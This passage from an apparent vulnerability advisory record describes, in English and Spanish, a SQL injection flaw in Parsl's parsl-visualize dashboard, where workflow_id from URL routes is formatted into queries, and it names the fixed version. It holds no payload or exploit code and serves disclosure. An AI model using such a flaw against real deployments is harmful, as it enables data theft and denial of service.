A SQL Injection vulnerability exists in the parsl-visualize component of versions prior to 2026.01.05. The application constructs SQL queries using unsafe string formatting (Python % operator) with user-supplied input (workflow_id) directly from URL routes. This allows an unauthenticated attacker with access to the visualization dashboard to inject arbitrary SQL commands, potentially leading to data exfiltration or denial of service against the monitoring database. Version 2026.01.05 fixes the issue."}, {"lang": "es", "value": "Parsl es una biblioteca de scripting paralelo de Python. Una vulnerabilidad de inyección SQL existe en el componente parsl-visualize de versiones anteriores a 2026.01.05. La aplicación construye consultas SQL utilizando formato de cadena inseguro (operador % de Python) con entrada proporcionada por el usuario (workflow_id) directamente desde rutas URL. Esto permite a un atacante no autenticado con acceso al panel de visualización inyectar comandos SQL arbitrarios, lo que podría llevar a la exfiltración de datos o a la denegación de servicio contra la base de datos de monitoreo.
